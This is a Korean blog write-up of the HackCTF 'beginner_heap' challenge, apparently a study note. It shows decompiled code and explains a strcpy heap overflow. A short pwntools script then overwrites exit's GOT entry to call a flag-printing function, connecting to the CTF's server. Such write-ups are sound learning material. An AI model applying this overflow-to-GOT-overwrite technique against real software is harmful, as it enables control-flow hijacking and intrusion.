heap공부를 다시 시작할 겸 풀었던 문제들 write-up을 써보려 한다. 그중 가장 먼저 풀었던 hackctf beginner_heap writeup이다!
Writeup
File information
Code
Main
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
void *v3; // ST10_8
void *v4; // ST18_8
char s; // [rsp+20h] [rbp-1010h]
unsigned __int64 v6; // [rsp+1028h] [rbp-8h]
v6 = __readfsqword(0x28u);
v3 = malloc(16uLL);
*v3 = 1;
*(v3 + 1) = malloc(8uLL);
v4 = malloc(16uLL);
*v4 = 2;
*(v4 + 1) = malloc(8uLL);
fgets(&s, 4096, stdin);
strcpy(*(v3 + 1), &s);
fgets(&s, 4096, stdin);
strcpy(*(v4 + 1), &s);
exit(0);
}
간단하게 할당 후 모습을 나타내 보았다.
Chunk header = (prev_size + size)malloc(8) 과 malloc(16) 두 할당이 크기가 같은 이유는 64bit 환경에서 동적 할당은 최소 16byte부터 시작하기 때문에 두 크기가 같은 것이다.
위 그림처럼 동적 할당이 된 후 fgets
함수를 이용하여 스택에 입력받은 내용을 저장한다.
이후 strcpy
함수를 이용하여 각각 홀수 번째에 저장된 chunk 안에 주소 (예를 들어 0x602280, 0x6022c0)에 스택에 저장된 내용을 복사하게 된다. 이때 chunk의 크기 이상을 복사하게 되면서 heap overflow가 일어나게 된다.
sub_400826
void __noreturn sub_400826()
{
__int128 lineptr; // [rsp+0h] [rbp-20h]
FILE *stream; // [rsp+10h] [rbp-10h]
unsigned __int64 v2; // [rsp+18h] [rbp-8h]
v2 = __readfsqword(0x28u);
lineptr = 0uLL;
stream = fopen("flag", "r");
getline(&lineptr, &lineptr + 1, stream);
puts(lineptr);
fflush(stdout);
free(lineptr);
_exit(1);
}
그냥 flag 출력해주는 함수.
Exploit
문제는 heap overflow를 이용하여 exit 함수의 got를 flag 출력해주는 함수로 overwrite를 하면 끝이다.
exploit code
from pwn import *
p = remote("ctf.j0n9hyun.xyz", 3016)
elf = ELF("./beginner_heap.bin")
flag = 0x400826
py = 'A'*40
py += p64(elf.got['exit'])
py2 = p64(flag)
p.sendline(py)
p.sendline(py2)
p.interactive()
Reference
'Pwnable > hackCTF' 카테고리의 다른 글
babyfsb (64bit fsb) (0) | 2020.03.23 |
---|---|
you_are_silver (64bit fsb) (0) | 2020.03.21 |
훈폰정음 (0) | 2020.03.10 |
풍수지리설 (2) | 2020.03.04 |
HackCTF UAF (2) | 2020.01.23 |